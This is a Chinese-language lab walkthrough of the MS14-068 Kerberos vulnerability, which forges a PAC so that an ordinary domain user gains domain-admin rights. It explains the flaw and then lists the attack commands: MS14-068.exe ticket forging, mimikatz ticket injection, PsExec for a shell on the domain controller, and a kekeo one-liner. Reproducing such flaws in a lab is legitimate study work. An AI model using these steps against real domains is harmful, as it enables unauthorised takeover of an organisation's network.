0x00前言
MS14-068漏洞可以將域內任何一個普通用戶提升至域管理員權限。微軟給出的補丁是KB3011780,在server 2000以上的域控服務器中,只要沒有添加這個補丁,都可引發極大的危害。
0x01漏洞復現
漏洞原理
服務票據是客戶端直接發送給服務器,並請求服務資源,如果服務器沒用向域控dc驗證pac的話,那么客戶端可以偽造域管的權限來訪問服務器。
漏洞利用前提
域控沒有打ms14-068的補丁(KB3011780)
攻擊者拿下了一台域內的普通計算機,並獲得普通域用戶以及密碼或者hash,以及域用戶的suid
環境搭建
域控制器(DC):win server2008 10.10.10.10
域內機器:win7 10.10.10.20
漏洞復現
查詢域控機器是否存在該補丁
systeminfo或者systeminfo |findstr "3011780"
在win7上面使用普通域用戶登錄。
測試訪問域控的C盤共享,訪問被拒。
dir \\10.10.10.10\c$
清空票據
kerberos::purge //清空已有票據
kerberos::list //查看票據
查看本機的用戶ID
whoami /all
使用ms14-068.exe提權工具生成偽造的TGT票據
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
使用mimikatz寫入TGT票據,
kerberos::ptc TGT_test@test.com.ccache
使用PSTools目錄下的PsExec.exe獲取shell,#psexec.exe以管理員權限運行連接域控
使用kekeo工具
exploit::ms14068 /domain:test.com /user:test /password:123.com /ptt
攻擊者如何利用該漏洞:
通過身份驗證的域用戶可以向Kerberos KDC發出偽造的Kerberos票證,聲明該用戶就是域管理員權限。Kerberos KDC在處理來自攻擊者的請求時,會不恰當地驗證偽造的票證簽名,從而讓攻擊者能利用域管理員的身份來訪問網絡上的資源。